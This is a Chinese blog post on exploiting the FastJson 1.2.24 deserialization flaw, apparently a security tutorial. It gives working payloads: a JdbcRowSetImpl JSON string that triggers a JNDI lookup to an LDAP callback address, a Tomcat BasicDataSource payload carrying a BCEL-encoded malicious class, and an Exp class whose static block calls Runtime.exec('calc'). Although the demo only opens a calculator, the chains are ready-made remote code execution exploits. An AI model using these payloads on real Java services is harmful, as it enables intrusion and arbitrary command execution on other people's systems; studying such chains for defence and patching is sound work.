首页 > 其他分享 >FastJson反序列化2-1.2.24漏洞利用

FastJson反序列化2-1.2.24漏洞利用

时间:2024-03-17 23:12:56浏览次数:18  
标签:FastJson 24 9a 数据源 ef 序列化 方法 3f

1、1.2.24漏洞利用-JNDI

漏洞利用思路,如果某个类的set()方法中使用了JNDI,那么则可以使用JDNI注入执行任意命令。事实上在JDK8中就存在这样的类:JDBCRowSetImpl;

该类实现了JdbcRowSwt接口,继承自BaseRowSet; package com.sun.rowset;

其中setAutoCommit方法中的else分支调用了connect方法

这个方法用于获取数据库连接。它首先检查是否已经存在连接(this.conn),如果存在则直接返回;如果没有,则根据配置获取数据库连接。

而获取连接的方式是如果配置了数据源名称 (this.getDataSourceName() != null),则尝试通过 JNDI 查找数据源,然后获取连接。如果配置了用户名和密码,则使用提供的用户名和密码来获取连接。

DataSourceName有对应的Set方法;

为空的情况下会调用父类的setDataSourceName方法,父类仅仅做了是否为空的判断,然后就是简单的赋值。

所以我们可以反序列化这个类,然后设置属性autocommit,让其调用connect方法,通过 JNDI 查找数据源,而数据源的地址设置为恶意地址,使其执行恶意命令。

使用Yakit生成LDAP反连地址,构造恶意类,执行clac命令。

完整POC如下:

public class Main {
    public static void main(String[] args) {
        String str1="{\"@type\":\"org.example.bean.FastJsonJdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:5555/qjMfJBxp\",\"autoCommit\":0}";
        //FastJsonJdbcRowSetImpl是我自己创建的一个类 实际上可以直接用JdbcRowSetImpl
        JSONObject jsonObject = JSON.parseObject(str1);
    }
}

2、1.2.24 不出网利用

这里只给出了paseObject方法的利用链,paseObject方法会调用所有get方法,后续有时间再补充pase方法利用链,或者可以参考文章:

https://forum.butian.net/share/2040

String s1="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",
    \"DriverClassName\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$93$84$d81N$n$81$EJi$v$l$85$84C$7d$e9$z$88KE$a5$aanA$N$K$e2$b8$d9$$aS$c7$8e$i$H$f2$8fz$e6$C$VHp$ef$8f$aa$98u$a34$SX$f2$cc$ce$7b3o$9e$d7$7f$fe$de$de$D$f8$80$9a$83$C$96$j$bc$c4$8a$8dW$s$afZxm$e1$8d$83$3c$d6$y$bc$b5$b0N$c8$ef$e9P$t$fb$84l$ad$de$o$e4$3eF$3f$Ua$ce$d7$a1$fa6$ec$b5U$7c$y$da$B$pe$3f$92$oh$89X$9bz$M$e6$92s$3d$mT$fd$u$eexj$qz$fd$40ym$rB$ef$60$d4o$Q$ec$3d$Z$8c$e5$89$db$x$7eW$5c$IOG$de$e7$c3$83$91T$fdDG$n$b7$V$9b$89$90$3f$bf$8a$7e$w$cb$s$JN3$g$c6R$7d$d2f$8d$cdj$ef$cd$a8$L$H$b3$W6$5clb$8b$d7$b3$p$e9$e2$j$b6$J$L$cfH$TVR4$Qa$c7$fb$3e$M$T$ddS$T$d2h$ed$Q$W$9f$b3N$98$ff$3fx$d8$ee$w$99$QJO$b4$d8fG$r$93$a2R$ab$fbOz$f8$f3rj$a4$qa$a76$c56$93X$87$9d$c6$f4$c0Q$iI5$Y$f0$c0$f2t$e7$f1y$i$5d$9a$7bi$d4$5bX$87$cd$3f$d5$3c$Z$90$b9$M$8e$$W$kg$e2$3c$b3$7b$D$baJ$e9$o$c7$fc$3f$Q$_8$ba$e3$f3$i$e69$db$uM$86$cf$90M$b9$a5$df$c8$94$b3$d7$c8$9d$fcB$f1$cb$j$f2$a7$acf$3d$5c$a5d$81$5bg$b8$d1$c8V$f9$84$d4$c9$y$a3$F$c6$i$c6$dc$c9$9a$oce$yp$b5$c8$af$85$8co$a1R$60$a2$9a$3a$5bz$E3$a2$e2$80$a3$C$A$A\",
    \"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}
}";
public class Exp {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    //可以使用javac 编译,或使用Repository 且编译后需要encode
}

标签:FastJson,24,9a,数据源,ef,序列化,方法,3f
From: https://www.cnblogs.com/K1na-blog/p/18079400

相关文章

  • FastJson反序列化1-FastJson基础使用及反序列化流程分析
    1、FastJson简介及使用fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。1.1序列化JavaBean;假设现在程序中有一个类User,基本信息如下(省略构造方法及getset方法):packageorg.exampl......
  • 2024.3
    P8037[COCI2015-2016#7]Prokletnik只考虑计算L是minR是max的情况,另一种情况是对称的。考虑维护一个单调递增的单调栈,这样我们就可以维护出当前所有“存活”着的点,然后再考虑用一个线段树维护现在存活的点的最远可行的r。对于不存活的点直接在他不存活的时候把贡献......
  • 20240317python学习
    20240317python学习      先听课,之后不会的百度。 ......
  • YC260A [ 20240317 CQYC省选模拟赛 T1 ] 伙伴(aka)
    题意给定一张无自环、重边的不连通图。让你把这个图加上一些边成为若干个环。每个节点的权值为相邻两条边为原图上的边的个数-1。求所有点的权值和最大的权值。Sol考虑拆点。集中注意力,发现连边后形成一个二分图。既然要权值最大,肯定要让原图的边留下最多。直接做最大......
  • 三载岁月的小小归纳与2024计划
    原本打算每年写一篇年终总结,但是由于22年和23年比较忙,导致这两年的年终总结一直拖延没有写。现在已经到了2024年3月份,再补应该是补不完了。正好发现自己毕业快3年了,于是决定对过去3年做一个简单的总结,也算是平了过去2年没写年终总结的烂账......
  • abc324E 合并两字符串后能
    给定n个字符串s[n]和字符串t,从中任选一对下标(i,j),要求i<=j,让s[i]与s[j]连起来得到一个新的串,要求由新串删除0个或多个字符可以得到t,问存在多少对满足条件的下标对?1<=n<=5e5;1<=len(s[i]),len(t)<=5e5假设由字符串x能得到t的前缀长度为a,字符串y能得到t的后缀长度为b,如果a+b>=le......
  • P10218 [省选联考 2024] 魔法手杖 题解
    Description给定\(a_1,a_2,\dots,a_n\)以及\(b_1,b_2,\dots,b_n\),满足\(a_i\in[0,2^k-1]\)以及\(b_i\geq0\),你需要给出\(S\subseteq\{1,2,\dots,n\}\)以及\(x\in[0,2^k-1]\)满足以下条件:\(\sum\limits_{i\inS}b_i\leqm\);满足以上条件的前提下,最大化\......
  • 【2024年5月备考新增】《软考真题分章练习(答案解析) - 5 项目进度管理(高项)》
    1、()isatechniqueforestimatingthedurationorcostofanactivityoraprojectusinghistoricaldatafromasimilaractivityorproject.A.AnalogousestimatingB.parametricestimatingC.Three-PointestimatingD.Bottomestimating【答案】A【解......
  • NOI2024前训练-一些有趣的国内外比赛
    NOI2024前训练-一些有趣的国内外比赛luoguP9021[USACO23JAN]SubtreeActivationP你有一棵根为\(1\)的树,顶点标记为\(1\dotsN\)。每个顶点最初都是关闭的。在一次操作中,你可以将一个顶点的状态从关闭状态切换到开启状态,反之亦然。输出一个满足以下两个条件的操作序列的......
  • Monoxer Programming Contest 2024(AtCoder Beginner Contest 345)
    MonoxerProgrammingContest2024(AtCoderBeginnerContest345)\(A\)Leftrightarrow\(100pts\)按照题意模拟即可。点击查看代码intmain(){strings;inta=0,b=0,c=0,i;cin>>s;for(i=0;i<s.size();i++){a+=(s[i]=='<&#......